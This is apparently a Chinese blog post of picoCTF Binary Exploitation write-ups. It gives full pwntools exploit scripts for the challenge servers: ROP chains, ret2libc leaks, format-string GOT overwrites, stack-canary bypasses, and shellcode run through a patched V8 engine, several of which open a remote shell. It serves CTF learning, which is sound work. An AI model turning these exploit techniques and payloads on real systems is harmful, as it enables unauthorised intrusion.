picoCTF,Binary Exploitation,二进制类,23/37

题目站点链接 https://play.picoctf.org/

最初将所有题解放在一个帖子里,帖子太长了不便于阅读,
为了方便后期编辑和阅读。2023年02月10日,将帖子拆分,按照题目类型分为六类:

picoCTF-General Skills,基本技能类
picoCTF-Cryptography,密码类
picoCTF-Forensics,取证类
picoCTF-Web Exploitation,网页开发类
picoCTF-Reverse Engineering,逆向类
picoCTF-Binary Exploitation,二进制类

下面,给出题解,逐步完善中……
注意:很多题目flag是变化的,每一个账号解题得到的flag不一样,所以,下面帖子里的flag仅供参考,但解题思路方法是一样的。



2019 picoCTF

01、messy-malloc,300分

题目出错,失效了
在这里插入图片描述

2020 Mini-Competition

01、Guessing_Game_1,250分

调试了一下程序,打印猜数字提示之前,加一句输出数字,就不用猜了
printf(“%d,\n”,ans);
printf(“What number would you like to guess?\n”);
发现数字是84.
输入名子的语句是

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");    
    fgets(winner, 360, stdin);   
    printf("Congrats %s\n\n", winner);
}

winner的BUFSIZE是100,fgets接收360。在这里有溢出
然后找地址……

网上找到一个python

from pwn import *

syscall = 0x40137c
pop_rax = 0x4163f4
pop_rdi = 0x400696
pop_rsi = 0x410ca3
pop_rdx = 0x44a6b5
mov_rdi_rdx = 0x436393  #mov [rdi], rdx
bin_sh_addr = 0x6b7000

#r = process("./GuessingGame1_vuln")
r = remote("jupiter.challenges.picoctf.org", 51462)
r.sendlineafter("What number would you like to guess?\n", b'84')

writegadget = p64(pop_rdx) + str.encode("/bin/sh".ljust(8, "\x00"))
writegadget += p64(pop_rdi) + p64(bin_sh_addr)
writegadget += p64(mov_rdi_rdx)

sigframe = p64(pop_rax) + p64(59)
sigframe += p64(pop_rdi) + p64(bin_sh_addr)
sigframe += p64(pop_rsi) + p64(0)
sigframe += p64(pop_rdx) + p64(0)
sigframe += p64(syscall)

payload = cyclic(0x78) + writegadget + sigframe

r.sendlineafter("Name? ", payload)
r.interactive()

注意:用python2运行python2 GuessingGame1.py

在这里插入图片描述
改了一下,用Python3。在这里插入图片描述
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_44d502016ea374b8}

02、Guessing_Game_2,300分

操!,这一题我断断续续做了有一个月。
首先,很快测到要猜的数字,我这一题是,本地: -477,远程: -3727
然后,怎么注入都不对,总是差一点点,在网上问了各路大神,求救了各位朋友,
得到的 puts_addr 是0xf7d6c560,最后结尾是 560
在libc库里查不到,看截图
在这里插入图片描述
有好多libc库都查不到,网上的题解,得到的puts_addr都是460结尾的,我都郁闷了……,搞了将近一个月。
程序改了无数次,各环节数据检测,后来……
libc.rip偶然测了一下,成功了,原来,这些libc库查询网站的数据,来源不统一,不一样。既然libc.rip查到了,应该是更新比较快的网站。
在这里插入图片描述
查到了,就好办了。
代码:

#!/usr/bin/env python3
from pwn import *
from pwnlib.util.cyclic import cyclic

elf = ELF('GuessingGame2_vuln', checksec=True)
win_addr = elf.sym['win']  # 获取函数win函数地址 0x0804876E
puts_plt = elf.plt['puts']  # 获取函数PLT地址
puts_got = elf.got['puts']  # 获取函数got表地址

p = remote('jupiter.challenges.picoctf.org', 13775)
number = '-3727'

# 注入 "%135$x", 获取canary
canary_add = '%135$x'
p.sendlineafter(b'guess?\n', number.encode())
p.sendlineafter(b'Name? ', canary_add.encode())
res = p.recvline().decode().strip()
res = res.lstrip('Congrats: ')
canary = int(res, 16)
log.success(f'返回值: {res}')
log.success(f'Leaked canary: {hex(canary)}')

# 注入 payload, 获取 puts_addr
payload1 = cyclic(512) + p32(canary) + cyclic(12)
payload1 = payload1 + p32(puts_plt) + p32(win_addr) + p32(puts_got)
p.sendlineafter(b'guess?\n', number.encode())
p.sendlineafter(b'Name? ', payload1)
p.recvline()
p.recvline()
res = p.recvline()
puts_addr = u32(res[0:4])
log.success(f'返回值: {res}')
log.success(f'puts_addr: {hex(puts_addr)}')
p.recvline()

# 查找libc偏移地址
'''
# libc6-i386_2.27-3ubuntu1.3_amd64
puts_offset = 0x067460
system_offset = 0x03ce10
bin_sh_offset = 0x17b88f
'''
# libc6-i386_2.27-3ubuntu1.5_amd64
puts_offset = 0x67560
system_offset = 0x3cf10
bin_sh_offset = 0x17b9db

# 注入 payload, 获取 远程 bin/sh
glibc_base_addr = puts_addr - puts_offset
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload2 = cyclic(512) + p32(canary) + cyclic(12)
payload2 = payload2 + p32(system_addr) + p32(win_addr) + p32(bin_sh_addr)

p.sendlineafter(b"Name? ", payload2)
p.recvline()
p.interactive()

运行如下:
在这里插入图片描述
picoCTF{p0p_r0p_4nd_dr0p_1t_ df43c4f079f1f1e}

2021 picoCTF

01、Stonks,20分

导入pwn,写一个小程序。

from pwn import *

io = remote('mercury.picoctf.net', 53437)

io.recvuntil("2) View my portfolio\n")
io.sendline("1")
io.recvuntil("What is your API token?\n")
io.sendline("%x-" * 80)
io.recvuntil("Buying stonks with token:\n")
leak = io.recvline().decode('utf-8')
leak = leak.split('-')

flag = ""
for each in leak:
    try:
        each = bytearray.fromhex(each).decode()[::-1]
        flag += each
    except:
        continue

flag += '}'
print(flag)

picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}

02、Cache Me Outside,70分

nc连接网站,系统运行,需要填写地址和变量值,系统就会读取并反馈一个字符串
在这里插入图片描述
下载获得程序文件,运行失败,命令ldd获得连接文件信息

└─# ldd heapedit
        linux-vdso.so.1 (0x00007ffcc293f000)
        libc.so.6 => ./libc.so.6 (0x00007ff1bf800000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff1bfceb000)

在这里插入图片描述
用Ghidra逆向,可以看到程序读取了flag.txt。
我们,手工建立一个flag.txt文件,内容只有一行
picoCTF{test_123_abc}
程序读取这个文件后,也会放在同样的位置,现在我们要把“heapedit”这个程序运行起来。
尝试用命令pwninit配置运行环境,
需要
apt install elfutils
apt install patchelf
安装elf支持,
如果安装失败,用apt --fix-broken install修复依赖关系错误。
最终,用pwninit配置好调试环境,pwninit可以补充链接库,并生成一个solve.py程序,是调试接口文件。记得去年好像还没有这个东西,我找这个ld-2.27.so,找了很久。

patchelf --set-interpreter ./ld-2.27.so ./heapedit
指定头文件。

└─# ldd heapedit
        linux-vdso.so.1 (0x00007ffe8bf1d000)
        libc.so.6 => ./libc.so.6 (0x00007f7367e00000)
        ./ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007f73683be000)

再次查看连接头文件的时候,已经有了./ld-2.27.so => /lib64/ld-linux-x86-64.so.2
程序可以运行了。
在这里插入图片描述
gdb -q heapedit调试程序
设置断点b puts
r 运行,可以看到程序读取了flag.txt里的内容
在这里插入图片描述
基址为0x6034a0
find 0x602000, 0x623000, 0x603890查找entries的地址
在这里插入图片描述
得到0x602088,这样,偏移地址为0x602088 - 0x6034a0 = -0x1418,也就是 -5144
再次调试程序,输入-51434,得到flag。
在这里插入图片描述
至此,程序运行正常,偏移地址正确。
把这个值从命令行输入程序。发现第一次成功,后来不成功。
在这里插入图片描述
查了大量的资料,说是什么“地址空间随机化”(ASLR,Address Space Layout Randomization),一种操作系统用来抵御缓冲区溢出攻击的内存保护机制。这种技术使得系统上运行的进程的内存地址无法被预测,使得与这些进程有关的漏洞变得更加难以利用。
就是,多试几次,总有成功的。
于是,写了一个循环的命令
while true; do echo '-5143\n4' | ./heapedit; done | grep picoCTF
得到这个
在这里插入图片描述
然后就在题目给定的nc mercury.picoctf.net 34499上试一试
在这里插入图片描述
picoCTF{ea0e7e8e8c7bf85caa6601f3dae7ce26}

03、Here’s a LIBC,90分

这个我真做不出来,替换头文件等步骤做了一下,然后怎么找地址,我真是不会,后来找到一个程序,很古老的Python2版本。改了一天,改成Python3版本

from ZODB.utils import u64, p64
from pwn import *

# context.log_level = "debug"
URL, PORT = "mercury.picoctf.net", 49464
sel = 0
io = remote(URL, PORT)
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret = 0x000000000040052e
pop_rdi = 0x0000000000400913
main = 0x0000000000400771

io.recvline()
payload = ('a' * 0x88).encode() + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
print(payload)
io.sendline(payload)
io.recvline()
r_bytes = io.recv(6) + b'\x00\x00'
puts_addr = u64(r_bytes)
libc_addr = puts_addr - libc.sym['puts']
print("libc_addr----->" + hex(libc_addr))
system = libc.sym['system'] + libc_addr
bin_sh = next(libc.search(b'/bin/sh')) + libc_addr
io.recvline()
payload2 = ('a' * 0x88).encode() + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.sendline(payload2)
io.interactive()

这是Python2,context.log_level = "debug",带debug调试的界面:
在这里插入图片描述
$提示符下,操作远端主机,
ls列目录,可以看到有一个flag.txt文件,
cat可以看到文件内容。

下面是Python3版本。
在这里插入图片描述
同样,绿色的字是必须手工输入的,没有$提示符。
并且关闭了context.log_level = "debug",没有调试信息,界面清爽一些。

picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}

04、Unsubscriptions Are Free,100分

分析程序,加你用户,并且留言……,然后用pwn程序运行一下。

from pwn import *

elf = ELF("./vuln")
# p=process("./vuln")
p = remote("mercury.picoctf.net", 48259)

p.sendline(b"M")  # Create Account
p.sendline(b"")
p.sendline(b"I")  # Delete Account
p.sendline(b"Y")
p.sendline(b"l")  # Leave Message

import time

time.sleep(1)
p.sendline(p32(elf.symbols['hahaexploitgobrrr']))
p.interactive()

在Python2中运行
在这里插入图片描述
picoCTF{d0ubl3_j30p4rdy_cff1f12d}

05、filtered-shellcode,160分

这个,好像给他代码,可以运行,可是写了lsdir……都不行。
到了网上的解题。太复杂了……
https://github.com/Dvd848/CTFs/blob/master/2021_picoCTF/filtered-shellcode.md

我最后是传入了,这么一个串
echo "\x31\xC9\xF7\xE1\x51\x90\x31\xC0\x31\xDB\xB0\x11\xB3\x03\xF7\xE3\xF7\xE3\xB3\x02\xF7\xE3\xD1\xEB\x01\xD8\xB3\x02\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\xB3\x02\xF7\xE3\xD1\xEB\x01\xD8\xB3\x11\xF7\xE3\xB3\x02\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\x50\x90\x31\xC0\xB0\x7F\xB3\x17\xF7\xE3\xB3\x02\xF7\xE3\xD1\xEB\x01\xD8\xB3\x02\xF7\xE3\x5B\x90\xF7\xE3\x50\x90\x31\xC0\x31\xDB\xB0\x2F\xF7\xE0\xB3\x02\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\x50\x90\x31\xC0\xB0\x2B\xB3\x03\xF7\xE3\xB3\x02\xF7\xE3\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\xB3\x13\xF7\xE3\xB3\x05\xF7\xE3\xB3\x02\xF7\xE3\x5B\x90\xF7\xE3\x50\x90\x31\xC0\xB0\x05\x89\xE3\xCD\x80\x93\x90\x91\x90\xB0\x03\x31\xD2\x50\x90\x31\xC0\x31\xD2\xB2\x40\xB0\x40\xF7\xE2\x50\x90\x5A\x90\x31\xC0\xB0\x01\x29\xC2\x58\x90\x42\x90\xCD\x80\x92\x90\x31\xC0\xB0\x04\xB3\x01\xCD\x80\x93\x90\xCD\x80\n" | nc mercury.picoctf.net 28494

picoCTF{th4t_w4s_fun_384f7c52706306d0}

06、Kit Engine,200分

下载3个文件,其中 v8 是chrome浏览器的JavaScript解析引擎,针对chrome浏览器的漏洞利用也几乎都是v8引擎引起的。
这一题,就是利用V8调试,来获得flag
source.tar.gz 是一个补丁,
server.py,猜测是服务端程序。
查看补丁代码有一段
在这里插入图片描述

void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
  Isolate* isolate = args.GetIsolate();
  if(args.Length() != 1) {
    return;
  }

  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (func == (double *)-1) {
    printf("Unable to allocate memory. Contact admin\n");
    return;
  }

  if (args[0]->IsArray()) {
    Local<Array> arr = args[0].As<Array>();

    Local<Value> element;
    for (uint32_t i = 0; i < arr->Length(); i++) {
      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
        Local<Number> val = element.As<Number>();
        func[i] = val->Value();
      }
    }

    printf("Memory Dump. Watch your endianness!!:\n");
    for (uint32_t i = 0; i < arr->Length(); i++) {
      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
    }

    printf("Starting your engine!!\n");
    void (*foo)() = (void(*)())func;
    foo();
  }
  printf("Done\n");
}

代码作为v8的升级补充,增加了AssembleEngine函数

编写代码

from pwn import *
import struct

context.arch = 'amd64'

ls = asm(shellcraft.execve(b"/bin/ls", ["ls"]))
cat = asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"]))


def convert_to_double_array(shellcode: bytes) -> list[float]:
    res: list[float] = []
    for i in range(0, len(shellcode), 8):
        block = shellcode[i:i + 8]
        if len(block) < 8:
            block = block + b"\0" * (8 - len(block))
        res.append(struct.unpack("<d", block)[0])
    return res


def run(shellcode: list[float]):
    code = f"AssembleEngine([{', '.join(map(str, shellcode))}])"
    p = remote("mercury.picoctf.net", 60514)
    p.sendlineafter(b"Provide size", str(len(code)))
    p.sendlineafter(b"Provide script", code)
    print(p.recvall().decode())


run(convert_to_double_array(ls))
run(convert_to_double_array(cat))

运行如下:
在这里插入图片描述
picoCTF{vr00m_vr00m_4168cbd2cfccd836}

07、Stonk Market,250分

nc连接网站,注入:
%c%c%c%c%c%c%c%c%c%c%6299662c%n%216c%20$hhn%10504067c%10$n
在这里插入图片描述
picoCTF{explo1t_m1t1gashuns_d67d2898}

2021 picoMini by redpwn

01、clutter-overflow,150分

混乱的溢出……

从程序代码和反馈文字看,
当 code == deadbeef的时候给出flag
于是给code 赋值为 0xdeadbeef就可以了。

用gdb调试打开chall
disassemble main显示主函数
在这里插入图片描述
就是这里
code的地址值是$rbp寄存器值,减去0x8,减去8位。
追踪rbp寄存器,输入一个很长的字串,我试了很多次
在这里插入图片描述
rbp寄存器值是6c696b7575726879转码之后是likuurhy
likuurhy与输入的字节yhruukil正好两位一组倒序排列,我们只要合理的输入字符串就能达到效果。
在这里插入图片描述
code变化了,7472656766647364 解码后是tregfdsd是输入的字符dsdfgert的倒序
计算了输入的字符串长度,272,code的起始位置是264。
于是写了下面的代码

from pwn import *

context.log_level = "debug"
URL, PORT = "mars.picoctf.net", 31890
r = remote(URL, PORT)
r.recvuntil(b'What do you see?')
payload = ('a' * 264).encode() + b'\xef\xbe\xad\xde'
r.sendline(payload)
r.interactive()
r.close()
exit()

还有输入的是字母,但是code取出来是16进制,如何让code的值是字母呢?
反正最后就是这样……

picoCTF{c0ntr0ll3d_clutt3r_1n_my_buff3r}

02、fermat-strings,250分

找到的代码:

from pwn import context, ELF, log, process, remote, sys, p64, u64

context.binary = ELF('chall', checksec=False)
elf = context.binary


def get_process():
    if len(sys.argv) == 1:
        return process(elf.path)
    elif len(sys.argv) == 3:
        host, port = sys.argv[1], sys.argv[2]
        return remote(host, int(port))
    else:
        print('传入参数错误!')
        exit()


def dump(n: int) -> str:
    p = get_process()

    p.sendlineafter(b'A: ', b'1')
    p.sendlineafter(b'B: ', f'1.%{n}$lp'.encode())

    p.recvuntil(b'B: ')
    res = p.recvline().strip().split(b'.')[1].decode()

    p.close()
    return res


def leak_address(got_entry: int) -> int:
    payload_a = b'1234567.' + p64(got_entry)
    payload_b = b'1.%11$s'

    p.sendlineafter(b'A: ', payload_a)
    p.sendlineafter(b'B: ', payload_b)
    p.recvuntil(b'B: 1.')

    return u64(p.recvline().strip().ljust(8, b'\0'))


p = get_process()

pow_got = 0x601040
atoi_got = 0x601058
puts_got = 0x601018

main_addr = 0x400837

puts_offset = 0x875a0
system_offset = 0x55410

bytes_on_stack = 38
bytes_to_print = main_addr - bytes_on_stack - 2

payload_a = b'1234567.' + p64(pow_got)
payload_b = f'1.%{bytes_to_print}c'.encode() + b'%11$n'

p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.recvline()

atoi_addr = leak_address(atoi_got)
log.success(f'Leaked atoi() address: {hex(atoi_addr)}')

puts_addr = leak_address(puts_got)
log.success(f'Leaked puts() address: {hex(puts_addr)}')

glibc_base_addr = puts_addr - puts_offset
log.success(f'Glibc base address: {hex(glibc_base_addr)}')

system_addr = glibc_base_addr + system_offset

bytes_to_print = ((system_addr & 0xffff) - bytes_on_stack - 2) % 0xffff

payload_a = b'1234567.' + p64(atoi_got) + p64(atoi_got + 2)
payload_b = f'1.%{bytes_to_print}c'.encode() + b'%11$hn'

bytes_to_print = (((system_addr >> 16) - system_addr) & 0xffff) % 0xffff

payload_b += f'%{bytes_to_print}c'.encode() + b'%12$hn'

p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)

p.sendlineafter(b'A: ', b'/bin/sh')
p.sendlineafter(b'B: ', b'')

p.recvuntil(b'B: ')
p.sendline()

p.interactive()

命令行:
python3 fermat-strings.py mars.picoctf.net 31929
得到flag

在这里插入图片描述
注意:不知道为什么,有时候不行,可能是费马大定理求解,时间太长要等一会,才能再次提供服务。

picoCTF{f3rm4t_pwn1ng_s1nc3_th3_17th_c3ntury}

2022 picoCTF

01、basic-file-exploit,100分

一个系统,写入数据,然后再显示出来。
C语言,研究了一下。
static void data_read()函数读取数据,有一个判断

if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

strtol函数,作用就是将一个字符串转换为长整型long
输入数==0,就put(flag)

于是,按顺序开展下面的操作,同时,翻译了一下
Please put in a valid number
请输入有效地数字
Please enter your data:
输入你的数据
Please enter the length of your data:
输入你的数据地长度
Write successful, would you like to do anything else?
写成功了,你还想做点别的事情吗?
echo a phrase in our database
显示我们数据库中的短语
Please enter the entry number of your data
请输入您的数据输入编号
这时候输入编号0就可以了
在这里插入图片描述
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_68466E2F}

02、buffer overflow 0,100分

输入一个长字符串,溢出,就会出现flag
在这里插入图片描述
picoCTF{ov3rfl0ws_ar3nt_that_bad_8ba275ff}

03、CVE-XXXX-XXXX,100分

在这里插入图片描述

picoCTF{CVE-XXXX-XXXXX}
查一下,是一个漏洞编号
Windows Print Spooler服务最新漏洞CVE-2021-34527

picoCTF{CVE-2021-34527}

04、buffer overflow 1,200分

代码

# pip3, pwn
from pwn import *
r = remote('saturn.picoctf.net', 63165)
print(r.recvuntil(b'Please enter your string:'))
payload = b'a' * 44 + p32(0x80491f6)
r.sendline(payload)
print(payload)
print((r.recvline()).decode())
print((r.recv()).decode())

picoCTF{addr3ss3s_ar3_3asy_c76b273b}

05、RPS,200分

程序是剪刀石头布,连赢5次就能拿到flag,一开始想复杂了,寄存器、溢出、gdb什么的,后来查资料,是比较函数有漏洞。
程序如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60

static const char* flag = "[REDACTED]";

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;
    
    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }
    
    
    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


bool play () {
  char player_turn[100];
  srand(time(0));
  int r;

  printf("Please make your selection (rock/paper/scissors):\n");
  r = tgetinput(player_turn, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
}


int main () {
  char input[3] = {'\0'};
  int command;
  int r;

  puts("Welcome challenger to the game of Rock, Paper, Scissors");
  puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
  puts("Are you ready?");
  
  while (true) {
    puts("Type '1' to play a game");
    puts("Type '2' to exit the program");
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
    
    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
      
    } else if (command == 1) {
      printf("\n\n");
      if (play()) {
        wins++;
      } else {
        wins = 0;
      }

      if (wins >= 5) {
        puts("Congrats, here's the flag!");
        puts(flag);
      }
    } else if (command == 2) {
      return 0;
    } else {
      puts("Please type either 1 or 2");
    }
  }

  return 0;
}

computer_turn是随机计算机出的序号,兑换这个序号的胜利值,比较胜利值在不在玩家出的字串中。这样,玩家出‘rockpaperscissors’这个字串,那么 剪刀 石头 布 三种都有,永远赢。连赢5次就行了。
在这里插入图片描述
picoCTF{50M3_3X7R3M3_1UCK_C85AF58A}

06、x-sixty-what,200分

查了网上资料,72个字符之后给一个地址跳转

from pwn import *

payload = b'A' * 72 + b'\x3b\x12\x40\x00\x00\x00\x00\x00'

p = remote("saturn.picoctf.net", 65432)

output = p.recvline()
print(output.decode())

print("Sending payload")
p.sendline(payload)
print("Payload sent")

output = p.recv()
print(output.decode())

picoCTF{b1663r_15_b3773r_964d9987}

07、buffer overflow 2,300分

一个狠人,写了一段代码,local、GDB、REMOTE全通用,真是厉害!

from pwn import *


# Allows you to switch between local/GDB/REMOTE from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('saturn.picoctf.net', 63450)
        return remote('saturn.picoctf.net', 63450, *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'error'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()
eip_offset = 112
info('located EIP offset at {a}'.format(a=eip_offset))

# Create ROP object
rop = ROP(elf)
# Call the hacked function
rop.win(0xCAFEF00D, 0xF00DF00D)

# Get the raw bytes
rop_chain = rop.chain()  # Add exit : + p32(0x0804927e)

# Build payload
payload = flat({eip_offset: rop_chain})

# Save payload to file
write('payload', payload)

# Start a new process
io = start()

# PWN
io.sendlineafter(b'string: \n', payload)

# Receive the flag
io.interactive()

picoCTF{argum3nt5_4_d4yZ_31432deb}

08、buffer overflow 3,300分

把上一题那个狠人的程序改一下,用了一天的时间

from pwn import *
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('vuln', checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'error'
# canary token leaked by using leak_canary.py
canry = b"BiRd"

# Start program
io = remote('saturn.picoctf.net', 49811)
offset = 64  # Canary offset
io.sendlineafter(b'> ', b'-1')
io.recvuntil(b'Input> ')

# Build payload (return to win)
payload = flat([
    offset * b'A',  # Pad to canary (64)
    canry,  # Our leaked canary (4)
    16 * b'A',  # Pad to Ret pointer (8)
    elf.symbols.win  # Jmp to win function])

io.sendline(payload)
print(payload)
print(io.recv().decode())
io.interactive()

picoCTF{Stat1C_c4n4r13s_4R3_b4D_9602b3a1}

09、flag leak,300分

还是溢出问题,客户端打什么,服务器就返回什么。

#!/usr/bin/env python3
from pwn import *

elf = context.binary = ELF("./vuln", checksec=False)
context.log_level = "error"

for x in range(130):
    try:
        p = remote('saturn.picoctf.net', 55065)

        p.recvuntil(b">> ")
        send_str = '%{}$s'.format(x).encode()
        print(str(x).zfill(3), send_str)
        p.sendline(send_str)
        p.recvline()
        leaked = p.recvline()
        if b"CTF{" in leaked:
            print("Flag:", leaked.decode())
            break
        else:
            print(leaked)
    except EOFError:
        pass

picoCTF{L34k1ng_Fl4g_0ff_St4ck_c2e94e3d}

10、ropfu,300分

这个题目重点说了一个ROPgadget,专门做题的工具,生成payload

ROPgadget --binary ./vuln --ropchain

就可以了,
像这样……

from struct import pack
p='a'*28
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80

在这里插入图片描述
picoCTF{5n47ch_7h3_5h311_c6992ff0}

11、wine,300分

找到偏移地址

from pwn import *

r = remote('saturn.picoctf.net', 62702)
payload = cyclic(140) + p32(0x0401530)
r.sendlineafter(b'Give me a string!\r\n', payload)
print(r.recvall().decode())
r.interactive()

在这里插入图片描述
picoCTF{Un_v3rr3_d3_v1n_8ab00bc8}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值